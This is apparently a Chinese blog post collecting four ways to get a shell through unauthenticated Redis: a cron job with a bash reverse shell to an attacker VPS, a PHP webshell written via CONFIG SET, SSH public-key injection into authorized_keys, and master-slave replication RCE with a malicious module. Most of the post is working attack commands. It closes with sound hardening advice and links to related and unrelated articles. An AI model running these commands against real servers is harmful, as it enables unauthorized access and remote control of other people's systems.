前言

  redis未授权漏洞或弱口令一直是很有用的渗透突破口,最近正好闲的无事就拿redis来测试一些,做一个简单的收集,方便自己日后的回顾。

漏洞描述

  Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作

环境搭建

  Redis下载地址:http://download.redis.io/releases/redis-4.0.2.tar.gz

解压并进入其目录

tar xf redis-4.0.2.tar.gz /n
编译源程序
make
cd src
make install PREFIX=/usr/local/redis
将配置文件移动到redis目录
mv /server/tools/redis-4.0.2/redis.conf /usr/local/redis/ect/

  编辑etc中的redis配置文件redis.conf

允许别的主机进行连接
bind 127.0.0.1改为 #bind 127.0.0.1
关闭保护模式
protected-mode yes改为protected-mode no
启动redis服务
/usr/local/redis/bin/redis-server /usr/local/redis/ect/redis.conf

任务计划反弹shell

  vps上开启监听

nc -lvp 55555

  链接redis

redis-cli -h 10.91.214.205
set x "\n* * * * * bash -i >& /dev/tcp/vps ip/55555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

  写入成功

  但vps上并没有反弹成功的信息,查了半天文章发现好像就contos能写任务计划,最后在contos中反弹shell成功。

写webshell

  链接redis:

redis-cli -h 10.91.214.205
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell "<?php system($_GET['cmd']);?>"
save

  写入成功

写密钥

  利用条件:

  Redis服务使用ROOT账号启动

  服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

cd /root/.ssh/
创建密钥
ssh-keygen -t rsa
密钥保存为1.txt文件
(echo -e "\n\n"; cat 1.pub; echo -e "\n\n") > 1.txt
将密钥写入redis的1中
cat /root/.ssh/1.txt | redis-cli -h 10.91.214.205 -x set 1

  链接redis

redis-cli -h 10.91.214.205
get 1
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

  写入成功

  ssh -i /root/.ssh/id_rsa root@10.91.214.205 #ssh链接

主从复制rce

  下载:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

  make进行编译

  git clone https://github.com/Ridter/redis-rce.git

  python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so



  so文件是通过RedisModules make生成的

修复建议

1)禁止一些高危命令(重启redis才能生效)

  修改 redis.conf 文件,禁用远程修改 DB 文件地址

    rename-command FLUSHALL ""

    rename-command CONFIG ""

    rename-command EVAL ""

  或者通过修改redis.conf文件,改变这些高危命令的名称

    rename-command FLUSHALL "name1"

    rename-command CONFIG "name2"

    rename-command EVAL "name3"

2)以低权限运行 Redis 服务(重启redis才能生效)

  为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

    groupadd -r redis && useradd -r -g redis redis

3)为 Redis 添加密码验证(重启redis才能生效)

  修改 redis.conf 文件,添加

    requirepass mypassword

    (注意redis不要用-a参数,明文输入密码,连接后使用auth认证)

4)禁止外网访问 Redis(重启redis才能生效)

  修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

    bind 127.0.0.1

  在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。

5)修改默认端口

  修改配置文件redis.conf文件

    Port 6379

  默认端口是6379,可以改变成其他端口(不要冲突就好)

6)保证 authorized_keys 文件的安全

  为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

    chmod 400 ~/.ssh/authorized_keys

  为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

    chattr +i ~/.ssh/authorized_keys

  然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:

    chattr +i ~/.ssh

7)设置防火墙策略

  如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

参考文章

https://www.freebuf.com/articles/web/249238.html Redis系列漏洞总结

redis未授权getshell的4种方式的更多相关文章

  1. 修补--Redis未授权访问漏洞

    --------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...

  2. (数据库提权——Redis)Redis未授权访问漏洞总结

    一.介绍 1.Redis数据库 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key- ...

  3. Redis未授权漏洞利用方式

    总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...

  4. redis未授权访问getshell

    redis未授权访问的问题一年前就爆了,当时刚开始学安全,还不太懂.今天借着工作的机会来搞一把,看看能不能拿下一台服务器.其实前几天就写好了一直想找个实际环境复现一下,一直没有找到,只说下大致思路. ...

  5. Redis未授权总结

    以前的笔记 简介 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(so ...

  6. redis未授权访问批量验证脚本编写[python]

    漏洞简介 简单来说,redis是一个数据库.在默认的配置下,redis绑定在0.0.0.0:6379,也就是说,如果服务器有公网ip,可以通过访问其公网ip的6379端口来操作redis.最为致命的是 ...

  7. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  8. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

  9. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

随机推荐

  1. 用 JavaScript 刷 LeetCode 的正确姿势【进阶】

    之前写了篇文章 用JavaScript刷LeetCode的正确姿势,简单总结一些用 JavaScript 刷力扣的基本调试技巧.最近又刷了点题,总结了些数据结构和算法,希望能对各为 JSer 刷题提供 ...

  2. linux下编译常见错误

    1.浮点数例外:除数为0 2.已杀死:空间过大 3.已放弃:时间过长 4.段错误:递归 / 循环出不来

  3. NAR | 张勇洪/周超/刘小云团队合作揭示2-羟基异丁酰化修饰调控光暗适应性反应机制

    景杰生物 | 报道 ​ 组蛋白赖氨酸的翻译后修饰是表观遗传学密码的重要组成部分,它们动态地调节染色质的结构和功能,影响基因表达活性,参与生物体的环境适应性调控.赖氨酸酰化修饰家族(Acylation) ...

  4. 为什么不建议使用WordPress呢?

    程序过于注重扩展性与动态配置解析,导致执行流程中包含大量的钩子.判断.文件加载等操作,导致执行效率偏低,对服务器要求较高.对系统的开销,尤其是CPU等部分消耗较大,据观察,单个请求在腾讯云s1主机单核 ...

  5. Python3中的List列表的相关操作

    列表对象内建函数 1. append(obj) 在列表的末尾添加新元素obj.例: >>> a = ['a', 'b', 'c'] >>> a.append('d' ...

  6. 软件或jar包版本的小知识---Beta版、Final版、Free版等

    对于各种软件或jar包,其后面总有不同的"尾巴",如: 等,刚开始接触的肯定有些不知道.那么他们到底代表什么意思呢? 0.Release:发布版 1.Beta版:产品发布之前的测试 ...

  7. Map的putAll方法验证

    下面的程序验证了Map的putAll方法的行为特性,代码如下: import java.util.HashMap; public class Map_putAllTest { public stati ...

  8. git连接远程GitHub仓库详细总结 for HTTPS协议

    简单唠叨几句哈.之前工作的时候,由于是在大厂,代码提交.版本管理都是多人协作的,所以公司当时用的git + gerrit来实现代码管理的.当时入职时并不懂git的使用,虽然有大神写好配置git的文档, ...

  9. PostgreSQL 13.4的安装记录

    PostgreSQL 13.4的安装记录 想着MySQL被Oracle给买了,总得做点别的准备不是,找了找别的开源的关系型数据库,貌似PostgreSQL的评价很不错,就试试先 因为是window10 ...

  10. Nginx整数溢出漏洞 Writeup

    Nginx整数溢出漏洞 CVE-2017-7529 题目URL:http://www.whalwl.site:8040/ 漏洞描述 在 Nginx 的 range filter 中存在整数溢出漏洞,可 ...